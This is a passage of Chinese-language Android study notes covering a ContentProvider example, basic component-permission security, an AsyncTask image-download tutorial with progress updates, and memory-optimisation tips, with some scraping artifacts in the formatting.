android.provider.BaseColumns;\n\n/**\n * 提供的数据类型等数据。\n * Created by juetionke on 13-12-21.\n */\npublic class MyProviderMetaData {\n\n\n    public static final String AUTHORIY = \"org.juetion.cp.MyContentProvider\";\n    /**\n     * 数据库名称\n     */\n    public static final String DATABASE_NAME = \"MyProvider.db\";\n    /**\n     * 数据库版本\n     */\n    public static final int DATABASE_VERSION = 1;\n    /**\n     * 表名\n     */\n    public static final String USERS_TABLE_NAME = \"users\";\n\n    /**\n     * 继承了BaseColumns，所以已经有了_ID\n     */\n    public static final class UserTableMetaData implements BaseColumns {\n        /**\n         * 表名\n         */\n        public static final String TABLE_NAME = \"users\";\n        /**\n         * 访问该ContentProvider的URI\n         */\n        public static final Uri CONTENT_URI = Uri.parse(\"content://\" + AUTHORIY + \"/users\");\n        /**\n         * 该ContentProvider所返回的数据类型定义\n         */\n        public static final String CONTENT_TYPE = \"vnd.android.cursor.dir/org.juetion.user\";\n        public static final String CONTENT_TYPE_ITEM = \"vnd.android.cursor.item/org.juetion.user\";\n        /**\n         * 列名\n         */\n        public static final String USER_NAME = \"name\";\n        public static final String USER_AGE = \"age\";\n        /**\n         * 默认的排序方法\n         */\n        public static final String DEFAULT_SORT_ORDER = \"_id desc\";\n    }\n}\n```\n2，继承ContentProvider的类：\n\n```java\npackage org.juetion.cp;\n\nimport android.content.ContentProvider;\nimport android.content.ContentUris;\nimport android.content.ContentValues;\nimport android.content.UriMatcher;\nimport android.database.Cursor;\nimport android.database.sqlite.SQLiteDatabase;\nimport android.database.sqlite.SQLiteQueryBuilder;\nimport android.net.Uri;\nimport android.text.TextUtils;\nimport android.util.Log;\n\nimport org.juetion.sqlite3.DatabaseHelper;\n\nimport java.util.HashMap;\n\n/**\n * Created by juetionke on 13-12-21.\n */\npublic class MyContentProvider extends ContentProvider {\n\n    /**\n     * 定义规则\n     */\n    public static final UriMatcher uriMatcher;\n    public static final int USERS_COLLECTION = 1;//用于标记\n    public static final int USERS_SINGLE = 2;//用于标记\n    private DatabaseHelper databaseHelper;//这里的数据共享是共享Sqlite里的数据，当然，可以试用其他，如文本数据共享。\n    static {\n        uriMatcher = new UriMatcher(UriMatcher.NO_MATCH);//试用一个没有规则的Uri。然后下面自己匹配。\n        uriMatcher.addURI(MyProviderMetaData.AUTHORIY,\"/users\",USERS_COLLECTION);//自己定义的规则，有点像路由器，是uri匹配的方案。\n        uriMatcher.addURI(MyProviderMetaData.AUTHORIY,\"/users/#\",USERS_SINGLE);//同上。\n    }\n\n    /**\n     * 为列定义别名\n     */\n    public static HashMap<String,String> usersMap;\n    static {\n        usersMap = new HashMap<String, String>();\n        usersMap.put(MyProviderMetaData.UserTableMetaData._ID, MyProviderMetaData.UserTableMetaData._ID);\n        usersMap.put(MyProviderMetaData.UserTableMetaData.USER_NAME, MyProviderMetaData.UserTableMetaData.USER_NAME);\n        usersMap.put(MyProviderMetaData.UserTableMetaData.USER_AGE, MyProviderMetaData.UserTableMetaData.USER_AGE);\n    }\n\n\n    @Override\n    public boolean onCreate() {\n        Log.i(\"juetion\",\"onCreate\");\n        databaseHelper = new DatabaseHelper(getContext(), MyProviderMetaData.DATABASE_NAME);//这里的实现，常见前篇关于Sqlite的文章。\n        return true;\n    }\n\n    @Override\n    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {\n        Log.i(\"juetion\",\"query\");\n        SQLiteQueryBuilder sqLiteQueryBuilder = new SQLiteQueryBuilder();//写入查询条件，有点像Hibernate。\n        switch (uriMatcher.match(uri)) {//判断查询的是单个数据还是多个数据。\n            case USERS_SINGLE:\n                sqLiteQueryBuilder.setTables(MyProviderMetaData.UserTableMetaData.TABLE_NAME);//需要查询的表\n                sqLiteQueryBuilder.setProjectionMap(usersMap);//列的别名定义\n                sqLiteQueryBuilder.appendWhere(MyProviderMetaData.UserTableMetaData._ID + \"=\" + uri.getPathSegments().get(1));\n                //查询条件，uri.getPathSegments().get(1)，getPathSegments是将内容根据／划分成list。\n                break;\n            case USERS_COLLECTION:\n                sqLiteQueryBuilder.setTables(MyProviderMetaData.UserTableMetaData.TABLE_NAME);\n                sqLiteQueryBuilder.setProjectionMap(usersMap);\n                break;\n        }\n        String orderBy;//判断sortOrder是否为空，加入默认。\n        if (TextUtils.isEmpty(sortOrder)) {\n            orderBy = MyProviderMetaData.UserTableMetaData.DEFAULT_SORT_ORDER;\n        } else {\n            orderBy = sortOrder;\n        }\n        SQLiteDatabase sqLiteDatabase = databaseHelper.getWritableDatabase();\n        Cursor cursor = sqLiteQueryBuilder.query(sqLiteDatabase, projection, selection, selectionArgs, null, null, sortOrder);//可以使用下面的方法，不过此时sqLiteDatabase将会没有用。\n        //Cursor cursor = sqLiteDatabase.query(MyProviderMetaData.UserTableMetaData.TABLE_NAME, projection, selection, selectionArgs, null, null, orderBy);\n        cursor.setNotificationUri(getContext().getContentResolver(),uri);\n        return cursor;\n    }\n\n    /**\n     * 根据传入的URI，返回URI说表示的数据类型\n     * @param uri\n     * @return\n     */\n    @Override\n    public String getType(Uri uri) {\n        Log.i(\"juetion\",\"getType\");\n        switch (uriMatcher.match(uri)) {//匹配uri的规则\n            case USERS_COLLECTION:\n                return MyProviderMetaData.UserTableMetaData.CONTENT_TYPE;\n            case USERS_SINGLE:\n                return MyProviderMetaData.UserTableMetaData.CONTENT_TYPE_ITEM;\n            default:\n                throw new IllegalArgumentException(\"Unknown URI\" + uri);\n        }\n    }\n\n    @Override\n    public Uri insert(Uri uri, ContentValues values) {\n        Log.i(\"juetion\",\"insert\");\n        SQLiteDatabase sqLiteDatabase = databaseHelper.getWritableDatabase();\n        long rowId = sqLiteDatabase.insert(MyProviderMetaData.UserTableMetaData.TABLE_NAME, null, values);\n        if (rowId > 0) {\n            Uri insertUserUri = ContentUris.withAppendedId(MyProviderMetaData.UserTableMetaData.CONTENT_URI, rowId);//简单来说就是字符串拼凑一下。只不过是uri专用的。\n            //通知监听器\n            getContext().getContentResolver().notifyChange(insertUserUri,null);\n            return insertUserUri;\n        }else\n            throw new IllegalArgumentException(\"Failed to insert row into\" + uri);\n    }\n\n    @Override\n    public int delete(Uri uri, String selection, String[] selectionArgs) {\n        Log.i(\"juetion\",\"delete\");\n        return 0;\n    }\n\n    @Override\n    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {\n        Log.i(\"juetion\",\"update\");\n        return 0;\n    }\n}\n```\n\n还有重要的一点，再第二个APP的AndroidManifest.xml里面需要添加\n\n```xml\n<!-- provider name填写ContentProvider那个类的全称，authorities填写MyProviderMetaData里的AUTHORIY -->\n        <provider\n            android:authorities=\"org.juetion.cp.MyContentProvider\"\n            android:name=\"org.juetion.cp.MyContentProvider\"/>\n```\n\n以下代码是在第一个APP里面的。\n关于使用。只需要将uri的string提供给第一个APP。\n例如在第一个APP的Activity调用数据插入：\n\n```java\nContentValues contentValues = new ContentValues();\n                    contentValues.put(\"name\",\"zhangsan\");\n                    contentValues.put(\"age\",19);\n                    Uri uri = getContentResolver().insert(Uri.parse(\"content://org.juetion.cp.MyContentProvider/users\"),contentValues);\n                    Log.i(\"juetion\", \"insert uri-->\" + uri.toString()); \n```\n例如在第一个APP的Activity调用数据的查询：\n\n```java\nCursor cursor = getContentResolver().query(Uri.parse(\"content://org.juetion.cp.MyContentProvider/users\"),\n                            new String[]{\"name\", \"age\"},\n                            null, null, null);\n                    while (cursor.moveToNext()) {\n                        Log.i(\"juetion\", cursor.getString(cursor.getColumnIndex(\"name\")));\n                    }\n```\n\n### 4.请介绍下ContentProvider是如何实现数据共享的。\nContentProvider 可以屏蔽数据操作的细节 文件 xml\nMyContentProvider 可以在不同应用程序之间共享数据  sharedpreference db\n       把自己的数据通过uri的形式共享出去\nandroid  系统下 不同程序 数据默认是不能共享访问\n      \n       需要去实现一个类去继承ContentProvider\n\n```java\n       public class PersonContentProvider extends ContentProvider{\n       public boolean onCreate(){\n              //..\n       }\nquery(Uri, String[], String, String[], String)\ninsert(Uri, ContentValues)\nupdate(Uri, ContentValues, String, String[])\ndelete(Uri, String, String[])\n```\n联系人的信息 sms的内容content://sms/\n}     安全共同点\nandroid安全学习 \n签名作用\n1.sharedUserId 一样并且签名一次 可以实现数据共享\n2.升级应用\n权限：细粒度的特权管理\n权限与操作关联\n应用需要显式申请权限\n用户对权限可知（不可控）\n对特权权限单独控制\n四大组件\nexported = true 等于public\nexported = false 等于private\n默认组件private\n如果该组件设置了intent-filter默认是public\n如果同时希望是private，就需要主动设置expoted=false\nSecuring Activities\n可知指定权限才能启动activity\nservice同上\nBoradcastReceiver可以设置接发的权限\nContentPrivider 可设置读写Permission\n\n## 7.多线程管理\n\n本篇随笔将讲解一下Android的多线程的知识，以及如何通过AsyncTask机制来实现线程之间的通信。\n一、Android当中的多线程\n在Android当中，当一个应用程序的组件启动的时候，并且没有其他的应用程序组件在运行时，Android系统就会为该应用程序组件开辟一个新的线程来执行。默认的情况下，在一个相同Android应用程序当中，其里面的组件都是运行在同一个线程里面的，这个线程我们称之为Main线程。当我们通过某个组件来启动另一个组件的时候，这个时候默认都是在同一个线程当中完成的。当然，我们可以自己来管理我们的Android应用的线程，我们可以根据我们自己的需要来给应用程序创建额外的线程。\n二、Main Thread 和 Worker Thread\n在Android当中，通常将线程分为两种，一种叫做Main Thread，除了Main Thread之外的线程都可称为Worker Thread。\n当一个应用程序运行的时候，Android操作系统就会给该应用程序启动一个线程，这个线程就是我们的Main Thread，这个线程非常的重要，它主要用来加载我们的UI界面，完成系统和我们用户之间的交互，并将交互后的结果又展示给我们用户，所以Main Thread又被称为UI Thread。\nAndroid系统默认不会给我们的应用程序组件创建一个额外的线程，所有的这些组件默认都是在同一个线程中运行。然而，某些时候当我们的应用程序需要完成一个耗时的操作的时候，例如访问网络或者是对数据库进行查询时，此时我们的UI Thread就会被阻塞。例如，当我们点击一个Button，然后希望其从网络中获取一些数据，如果此操作在UI Thread当中完成的话，当我们点击Button的时候，UI线程就会处于阻塞的状态，此时，我们的系统不会调度任何其它的事件，更糟糕的是，当我们的整个现场如果阻塞时间超过5秒钟(官方是这样说的)，这个时候就会出现 ANR (Application Not Responding)的现象，此时，应用程序会弹出一个框，让用户选择是否退出该程序。对于Android开发来说，出现ANR的现象是绝对不能被允许的。\n另外，由于我们的Android UI控件是线程不安全的，所以我们不能在UI Thread之外的线程当中对我们的UI控件进行操作。因此在Android的多线程编程当中，我们有两条非常重要的原则必须要遵守：\n绝对不能在UI Thread当中进行耗时的操作，不能阻塞我们的UI Thread\n不能在UI Thread之外的线程当中操纵我们的UI元素\n 三、如何处理UI Thread 和 Worker Thread之间的通信\n既然在Android当中有两条重要的原则要遵守，那么我们可能就有疑问了？我们既不能在主线程当中处理耗时的操作，又不能在工作线程中来访问我们的UI控件，那么我们比如从网络中要下载一张图片，又怎么能将其更新到UI控件上呢？这就关系到了我们的主线程和工作线程之间的通信问题了。在Android当中，提供了两种方式来解决线程直接的通信问题，一种是通过Handler的机制(这种方式在后面的随笔中将详细介绍),还有一种就是今天要详细讲解的 AsyncTask 机制。\n四、AsyncTask\nAsyncTask：异步任务，从字面上来说，就是在我们的UI主线程运行的时候，异步的完成一些操作。AsyncTask允许我们的执行一个异步的任务在后台。我们可以将耗时的操作放在异步任务当中来执行，并随时将任务执行的结果返回给我们的UI线程来更新我们的UI控件。通过AsyncTask我们可以轻松的解决多线程之间的通信问题。\n怎么来理解AsyncTask呢？通俗一点来说，AsyncTask就相当于Android给我们提供了一个多线程编程的一个框架，其介于Thread和Handler之间，我们如果要定义一个AsyncTask，就需要定义一个类来继承AsyncTask这个抽象类，并实现其唯一的一个 doInBackgroud 抽象方法。要掌握AsyncTask，我们就必须要一个概念，总结起来就是: 3个泛型，4个步骤。\n3个泛型指的是什么呢？我们来看看AsyncTask这个抽象类的定义，当我们定义一个类来继承AsyncTask这个类的时候，我们需要为其指定3个泛型参数：\nAsyncTask　<Params, Progress, Result>\nParams: 这个泛型指定的是我们传递给异步任务执行时的参数的类型\nProgress: 这个泛型指定的是我们的异步任务在执行的时候将执行的进度返回给UI线程的参数的类型\nResult: 这个泛型指定的异步任务执行完后返回给UI线程的结果的类型\n 我们在定义一个类继承AsyncTask类的时候，必须要指定好这三个泛型的类型，如果都不指定的话，则都将其写成Void，例如：\nAsyncTask <Void, Void, Void>\n4个步骤：当我们执行一个异步任务的时候，其需要按照下面的4个步骤分别执行\nonPreExecute(): 这个方法是在执行异步任务之前的时候执行，并且是在UI Thread当中执行的，通常我们在这个方法里做一些UI控件的初始化的操作，例如弹出要给ProgressDialog\ndoInBackground(Params... params): 在onPreExecute()方法执行完之后，会马上执行这个方法，这个方法就是来处理异步任务的方法，Android操作系统会在后台的线程池当中开启一个worker thread来执行我们的这个方法，所以这个方法是在worker thread当中执行的，这个方法执行完之后就可以将我们的执行结果发送给我们的最后一个 onPostExecute 方法，在这个方法里，我们可以从网络当中获取数据等一些耗时的操作\nonProgressUpdate(Progess... values): 这个方法也是在UI Thread当中执行的，我们在异步任务执行的时候，有时候需要将执行的进度返回给我们的UI界面，例如下载一张网络图片，我们需要时刻显示其下载的进度，就可以使用这个方法来更新我们的进度。这个方法在调用之前，我们需要在 doInBackground 方法中调用一个 publishProgress(Progress) 的方法来将我们的进度时时刻刻传递给 onProgressUpdate 方法来更新\nonPostExecute(Result... result): 当我们的异步任务执行完之后，就会将结果返回给这个方法，这个方法也是在UI Thread当中调用的，我们可以将返回的结果显示在UI控件上\n 为什么我们的AsyncTask抽象类只有一个 doInBackground 的抽象方法呢？？原因是，我们如果要做一个异步任务，我们必须要为其开辟一个新的Thread，让其完成一些操作，而在完成这个异步任务时，我可能并不需要弹出要给ProgressDialog，我并不需要随时更新我的ProgressDialog的进度条，我也并不需要将结果更新给我们的UI界面，所以除了 doInBackground 方法之外的三个方法，都不是必须有的，因此我们必须要实现的方法是 doInBackground 方法。\n五、通过AsyncTask来从网络上下载一张图片\n下面我们就通过两个代码示例，来看看如何通过AsyncTask来从网络上下载一张图片，并更新到我们的ImageView控件上。\n①下载图片时，弹出一个ProgressDialog，但是不显示实时进度\n我们来看看布局文件：\n```xml\n<RelativeLayoutxmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:tools=\"http://schemas.android.com/tools\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"match_parent\"\n>\n\n\n    <ImageView\n       android:id=\"@+id/imageView\"\n        android:layout_width=\"wrap_content\"\n        android:layout_height=\"200dp\"\n        android:layout_alignParentRight=\"true\"\n        android:layout_alignParentTop=\"true\"\n        android:scaleType=\"fitCenter\"/>\n\n    <Button\n       android:id=\"@+id/button\"\n        android:layout_width=\"wrap_content\"\n        android:layout_height=\"wrap_content\"\n        android:layout_below=\"@+id/imageView\"\n        android:layout_centerHorizontal=\"true\"\n        android:layout_marginTop=\"41dp\"\n        android:text=\"从网络上下载一张图片\"/>\n\n</RelativeLayout>\n```\n\n就是很简单的一个ImageView控件和一个Button控件，当点击Button控件时，弹出一个ProgressDialog，然后开启一个异步任务，从网络中下载一张图片，并更新到我们的ImageView上。这里还要注意一点，如果我们要使用手机访问网络，必须还要给其授权才行，在后续的学习当中，将会详细讲解Android当中的授权的知识。我们来看看\nAndroidManifest.xml文件：\n```xml\n<?xml version=\"1.0\" encoding=\"utf-8\"?><manifestxmlns:android=\"http://schemas.android.com/apk/res/android\"\n    package=\"com.xiaoluo.android_asynctast\"\n    android:versionCode=\"1\"\n    android:versionName=\"1.0\"\n>\n\n\n    <uses-sdk\n       android:minSdkVersion=\"8\"\n        android:targetSdkVersion=\"18\"/>\n    \n    <!-- 授权手机能够访问网络 -->\n    <uses-permissionandroid:name=\"android.permission.INTERNET\"/>\n    \n    <application\n       android:allowBackup=\"true\"\n        android:icon=\"@drawable/ic_launcher\"\n        android:label=\"@string/app_name\"\n        android:theme=\"@style/AppTheme\"\n>\n\n        <activity\n           android:name=\"com.xiaoluo.android_asynctast.MainActivity\"\n            android:label=\"@string/app_name\"\n>\n\n            <intent-filter>\n\n               <actionandroid:name=\"android.intent.action.MAIN\"/>\n\n               <categoryandroid:name=\"android.intent.category.LAUNCHER\"/>\n            </intent-filter>\n\n        </activity>\n\n    </application>\n\n\n</manifest>\n```\n\n接下来我们来看看我们的Activity代码：\n\npublicclass MainActivityextends Activity\n{\n    private Button button;\n    private ImageView imageView;\n    private ProgressDialog progressDialog;\n    privatefinal String IMAGE_PATH = \"http://developer.android.com/images/home/kk-hero.jpg\";\n//    private final String IMAGE_PATH2 = \"http://ww2.sinaimg.cn/mw690/69c7e018jw1e6hd0vm3pej20fa0a674c.jpg\";    @Override\n    protectedvoid onCreate(Bundle savedInstanceState)\n    {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_main);\n        \n        button = (Button)findViewById(R.id.button);\n        imageView = (ImageView)findViewById(R.id.imageView);\n        //    弹出要给ProgressDialog\n        progressDialog =new ProgressDialog(MainActivity.this);\n        progressDialog.setTitle(\"提示信息\");\n        progressDialog.setMessage(\"正在下载中，请稍后......\");\n        //    设置setCancelable(false); 表示我们不能取消这个弹出框，等下载完成之后再让弹出框消失\n        progressDialog.setCancelable(false);\n        //    设置ProgressDialog样式为圆圈的形式        progressDialog.setProgressStyle(ProgressDialog.STYLE_SPINNER);\n        \n        button.setOnClickListener(new View.OnClickListener()\n        {\n            @Override\n            publicvoid onClick(View v)\n            {　　　　　　　　　// 在UI Thread当中实例化AsyncTask对象，并调用execute方法\n               new MyAsyncTask().execute(IMAGE_PATH);\n            }\n        });\n    }\n    \n    /**\n     * 定义一个类，让其继承AsyncTask这个类\n     * Params: String类型，表示传递给异步任务的参数类型是String，通常指定的是URL路径\n     * Progress: Integer类型，进度条的单位通常都是Integer类型\n     * Result：byte[]类型，表示我们下载好的图片以字节数组返回\n     *@author xiaoluo\n     *\n     */\n    publicclass MyAsyncTaskextends AsyncTask<String, Integer,byte[]>\n    {\n        @Override\n        protectedvoid onPreExecute()\n        {\n            super.onPreExecute();\n            //    在onPreExecute()中我们让ProgressDialog显示出来            progressDialog.show();\n        }\n        @Override\n        protectedbyte[] doInBackground(String... params)\n        {\n            //    通过Apache的HttpClient来访问请求网络中的一张图片\n            HttpClient httpClient =new DefaultHttpClient();\n            HttpGet httpGet =new HttpGet(params[0]);\n            byte[] image =newbyte[]{};\n            try\n            {\n                HttpResponse httpResponse = httpClient.execute(httpGet);\n                HttpEntity httpEntity = httpResponse.getEntity();\n               if(httpEntity !=null && httpResponse.getStatusLine().getStatusCode() == HttpStatus.SC_OK)\n                {\n                    image = EntityUtils.toByteArray(httpEntity);\n                }\n            }\n            catch (Exception e)\n            {\n                e.printStackTrace();\n            }\n            finally\n            {\n                httpClient.getConnectionManager().shutdown();\n            }\n            return image;\n        }\n        @Override\n        protectedvoid onProgressUpdate(Integer... values)\n        {\n            super.onProgressUpdate(values);\n        }\n        @Override\n        protectedvoid onPostExecute(byte[] result)\n        {\n            super.onPostExecute(result);\n            //    将doInBackground方法返回的byte[]解码成要给Bitmap\n            Bitmap bitmap = BitmapFactory.decodeByteArray(result, 0, result.length);\n            //    更新我们的ImageView控件            imageView.setImageBitmap(bitmap);\n            //    使ProgressDialog框消失            progressDialog.dismiss();\n        }\n    }\n    \n    @Override\n    publicboolean onCreateOptionsMenu(Menu menu)\n    {\n        getMenuInflater().inflate(R.menu.main, menu);\n        returntrue;\n    }\n\n}\n```\n我们来看看效果图：\n \n \n②带有进度条更新的下载一张网络图片\n下面这个代码示例，将会在下载图片的时候，显示进度条的更新，配置文件都不变，我们来看看Activity代码：\n```java\npublicclass MainActivityextends Activity\n{\n    private Button button;\n    private ImageView imageView;\n    private ProgressDialog progressDialog;\n    privatefinal String IMAGE_PATH = \"http://developer.android.com/images/home/kk-hero.jpg\";\n//    private final String IMAGE_PATH2 = \"http://ww2.sinaimg.cn/mw690/69c7e018jw1e6hd0vm3pej20fa0a674c.jpg\";    @Override\n    protectedvoid onCreate(Bundle savedInstanceState)\n    {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_main);\n        \n        button = (Button)findViewById(R.id.button);\n        imageView = (ImageView)findViewById(R.id.imageView);\n        //    弹出要给ProgressDialog\n        progressDialog =new ProgressDialog(MainActivity.this);\n        progressDialog.setTitle(\"提示信息\");\n        progressDialog.setMessage(\"正在下载中，请稍后......\");\n        //    设置setCancelable(false); 表示我们不能取消这个弹出框，等下载完成之后再让弹出框消失\n        progressDialog.setCancelable(false);\n        //    设置ProgressDialog样式为水平的样式        progressDialog.setProgressStyle(ProgressDialog.STYLE_HORIZONTAL);\n        \n        button.setOnClickListener(new View.OnClickListener()\n        {\n            @Override\n            publicvoid onClick(View v)\n            {\n               new MyAsyncTask().execute(IMAGE_PATH);\n            }\n        });\n    }\n    \n    /**\n     * 定义一个类，让其继承AsyncTask这个类\n     * Params: String类型，表示传递给异步任务的参数类型是String，通常指定的是URL路径\n     * Progress: Integer类型，进度条的单位通常都是Integer类型\n     * Result：byte[]类型，表示我们下载好的图片以字节数组返回\n     *@author xiaoluo\n     *\n     */\n    publicclass MyAsyncTaskextends AsyncTask<String, Integer,byte[]>\n    {\n        @Override\n        protectedvoid onPreExecute()\n        {\n            super.onPreExecute();\n            //    在onPreExecute()中我们让ProgressDialog显示出来            progressDialog.show();\n        }\n        @Override\n        protectedbyte[] doInBackground(String... params)\n        {\n            //    通过Apache的HttpClient来访问请求网络中的一张图片\n            HttpClient httpClient =new DefaultHttpClient();\n            HttpGet httpGet =new HttpGet(params[0]);\n            byte[] image =newbyte[]{};\n            try\n            {\n                HttpResponse httpResponse = httpClient.execute(httpGet);\n                HttpEntity httpEntity = httpResponse.getEntity();\n                InputStream inputStream =null;\n                ByteArrayOutputStream byteArrayOutputStream =newByteArrayOutputStream();\n               if(httpEntity !=null && httpResponse.getStatusLine().getStatusCode() == HttpStatus.SC_OK)\n                {\n                   //    得到文件的总长度\n                   long file_length = httpEntity.getContentLength();\n                   //    每次读取后累加的长度\n                   long total_length = 0;\n                   int length = 0;\n                   //    每次读取1024个字节\n                   byte[] data =newbyte[1024];\n                    inputStream = httpEntity.getContent();\n                   while(-1 != (length = inputStream.read(data)))\n                    {\n                       //    每读一次，就将total_length累加起来\n                        total_length += length;\n                       //    边读边写到ByteArrayOutputStream当中\n                        byteArrayOutputStream.write(data, 0, length);\n                       //    得到当前图片下载的进度\n                       int progress = ((int)(total_length/(float)file_length) * 100);\n                       //    时刻将当前进度更新给onProgressUpdate方法                        publishProgress(progress);\n                    }\n                }\n                image = byteArrayOutputStream.toByteArray();\n                inputStream.close();\n                byteArrayOutputStream.close();\n            }\n            catch (Exception e)\n            {\n                e.printStackTrace();\n            }\n            finally\n            {\n                httpClient.getConnectionManager().shutdown();\n            }\n            return image;\n        }\n        @Override\n        protectedvoid onProgressUpdate(Integer... values)\n        {\n            super.onProgressUpdate(values);\n            //    更新ProgressDialog的进度条\n            progressDialog.setProgress(values[0]);\n        }\n        @Override\n        protectedvoid onPostExecute(byte[] result)\n        {\n            super.onPostExecute(result);\n            //    将doInBackground方法返回的byte[]解码成要给Bitmap\n            Bitmap bitmap = BitmapFactory.decodeByteArray(result, 0, result.length);\n            //    更新我们的ImageView控件            imageView.setImageBitmap(bitmap);\n            //    使ProgressDialog框消失            progressDialog.dismiss();\n        }\n    }\n    \n    @Override\n    publicboolean onCreateOptionsMenu(Menu menu)\n    {\n        getMenuInflater().inflate(R.menu.main, menu);\n        returntrue;\n    }\n\n}\n```\n我们来看看效果图：\n\n \n这样我们就能够通过AsyncTask来实现从网络中下载一张图片，然后将其更新到UI控件中，并时时刻刻的更新当前的进度这个功能了。\n六、AsyncTask的重要知识点\n在上面两节已经详细讲解了AsyncTask的工作原理了，这里我们还要补充一下AsyncTask的一些其他知识点：\n1.Cancelling a Task\n我们可以在任何时刻来取消我们的异步任务的执行，通过调用 cancel(boolean)方法，调用完这个方法后系统会随后调用 isCancelled() 方法并且返回true。如果调用了这个方法，那么在 doInBackgroud() 方法执行完之后，就不会调用 onPostExecute() 方法了，取而代之的是调用 onCancelled() 方法。为了确保Task已经被取消了，我们需要经常调用 isCancelled() 方法来判断，如果有必要的话。\n2.在使用AsyncTask做异步任务的时候必须要遵循的原则：\nAsyncTask类必须在UI Thread当中加载，在Android Jelly_Bean版本后这些都是自动完成的\nAsyncTask的对象必须在UI Thread当中实例化\nexecute方法必须在UI Thread当中调用\n不要手动的去调用AsyncTask的onPreExecute, doInBackground, publishProgress, onProgressUpdate, onPostExecute方法，这些都是由Android系统自动调用的\nAsyncTask任务只能被执行一次\n \n到此，有关AsyncTask的总结就到此为止了，本篇随笔主要讲解了Android中的多线程知识，并且详细地讲解了 AsyncTask 异步任务的概念和实现机制，并通过实例来了解 AsyncTask 的执行过程，最后还补充了 AsyncTask 的一些重要知识点，包括如何取消一个 AsyncTask 以及，我们在使用 AsyncTask 时所必须遵循的规则。\n  8.android内存优化及管理\n\n1、使用优化过的数据容器。 在Android framework下，建议使用优化过的数据容器比如：SparseArray,SparseBooleanArray,LongSparseArray。通用的HashMap实现的内存使用率非常的低，因为他需要为每一个mapping创建一个分离的entry object。另外，SparseArray类避免了系统对有些key的自动装箱，因而带来了更高的效率。 2、注意内存的开销。[size=12.800000190734863px]  注意你使用的语言和第三方库的成本和开销，要自始至终的将这些因素考虑在你的程序设计中。通常，有些事情表面上看着没什么问题但实际上的开销让人惊叹。比如： \n   ·枚举相对于静态常量来说，需要两倍甚至更多的内存。你应该完全避免在Android中使用枚举。 \n    [size=12.666666984558105px]·每一个在java中的类（包括匿名内部类）使用大约500 bytes的代码量。    ·每一个类的实例拥有12-16 bytes的RAM消耗。    ·放置一个单独的实体到HashMap中，一个额外加的实体对象分配需要花费32 bytes。\n[size=12.666666984558105px]3、关于代码的抽象  抽象是一个好的编程的基础，因为抽象可以提高代码的灵活性和可维护性。然而抽象也带来了一定的花销，一般情况下，他们有更多的代码需要执行，需要更多的时间和更多RAM来将这些代码映射到内存中。因此，如果你的抽象不能带来巨大的好处，你就应该割掉你的赘肉。\n4、避免依赖注入框架  虽然注入框架给我们带来了很多方便，但是在使用这些框架的时候，框架需要花费很多时间来扫描我们自己写的代码，甚至会将哪些你根本不需要的东西也加载到内存中。\n5、小心的使用扩展库  很多扩展库的代码不是针对手机环境开发的，可能在用到移动客户端的时候会导致很低的效率。因此在使用之前，需要评估一下其占用内存的大小。     即使库针对手机开发，也会有潜在的危险，因为每一个Library做的事情不尽相同。比如，一个Library使用nano protobufs而另一个使用micro protobufs。现在，在你的app中就有两个protobuf。类似情况经常发生。\n6、使用混淆器移除不必要的代码  ProGuard工具通过移除无用代码，使用语意模糊来保留类，字段和方法来压缩，优化和混淆代码。可以使你的代码更加完整，更少的RAM 映射页。\n7、使用多个进程（注意是process 不是 thread ok？）  如果这适合你的app，可能帮助你管理你的app的内存就是将你的app多个部分分配到多个进程中。该技术必须小心使用并且大多数应用不应该运行在多个进程下。这个技术的主要应用是后台工作跟天台工作一样重要的情况下。典型应用就是：当音乐播放器从服务器下载并长时间播放音乐，一般将其分为两个进程：一个是UI，另一个位置后台服务的运行。 like this:\n\n\n\n1\n<serviceandroid:name=\".PlaybackService\"         android:process=\":background\"/> \n\n[size=12.666666984558105px]process后面需要记住要有个\":\",这表示该进程属于你的app。 一般情况下，一块基本的空进程需要的内存大小在1.4m左右。\n\n\n\n1\nadb shell dumpsys meminfo com.example.android.apis:empty    \n8、基本性能优化方法的基本原则：    \n\n1）不要做你不必要的工作；\n\n2）不要申请不必要的内存；\n    例如，你明明知道一个方法返回一个String之后，你需要对这个String重新进行修改，那么就不要返回一个String，返回一个StringBuffer会是你更好的选择。     再比如，使用int比使用Integer占用更少的空间。这个大家肯定都是晓得的。     数组比一个Map拥有更好的性能。     如果你的方法不需要访问类字段，那么让你的方法是static的吧，这将会带来15%-20%速度的提升。     对于常量，请尽量使用static and final定义。如果使用final定义常量之后，会减少编译器在类生成时初始化<clinit>方法调用时对常量的存储，对于int型常量，将会直接使用其数值来进行替换，而对于String对象将会使用相对廉价的“string constant”指令来替换字段查找表。虽然这个方法并不完全对所有类型都有效，但是，将常量声明为static final绝对是一个好的做法。     避免Getters/Setters。虽然在一般的面向对象的设计模式中使用Getter和Setter是稀松平常的事情，但是在Android中使用getters/Setters是一个非常糟糕的主意，方法的调用相对于直接查找字段来说十分的昂贵。在没有JIT的情况下，直接对字段进行访问要比通过Getter访问快了近3倍。在有JIT的情况下，前者比后者快近7倍。     使用最新的循环方式。比如增强for。     避免使用浮点类型。在某些可以的情况下，将浮点替换成整型数据，然后进行计算会得到更精确的结果和更快的速度。     小心使用Native Methods。这里需要纠正的是，Native 方法并不一定能提高你应用的速度，有些甚至会拖后腿，因为，首先来说就需要一部分开销在Java-native transition上，而且JIT并不能对其进行优化。另外你需要为每个你想要在其上运行的系统结构上进行编译；即便是同一个处理器上，你也可能需要多个版本，比如为G1上的ARM处理器编译的就不能很好的在Nexus One的ARM上运行。Native代码最主要的用途是，你已经有了很多native 代码，并且你迫切希望接入Android中。而不是使用Native Method来提高你应用中某部分代码的运行速度。     [size=12.666666984558105px] 对于效率的提高除了使用遵守上面两条外基本准则外，选择合适的算法和数据结构也是非常关键的。\n\n9、关于UI上的一些问题[size=12.800000190734863px]  Hierarchy Viewer[size=12.666666984558105px] [size=12.666666984558105px]通过他，可以看到你自己的Layout文件存在的问题。你可以看到你的Layout每一部分计算，布局，渲染所需要的时间。尽量的使你的Layout扁平话，深度最好保持 在三层之内[size=12.666666984558105px] 。RelativeLayout[size=12.666666984558105px] 是解决使用LinearLayout堆叠多层问题的利剑。那些为了方便 使[size=12.666666984558105px] 用LinearLayout的layout_weight属性[size=12.666666984558105px] 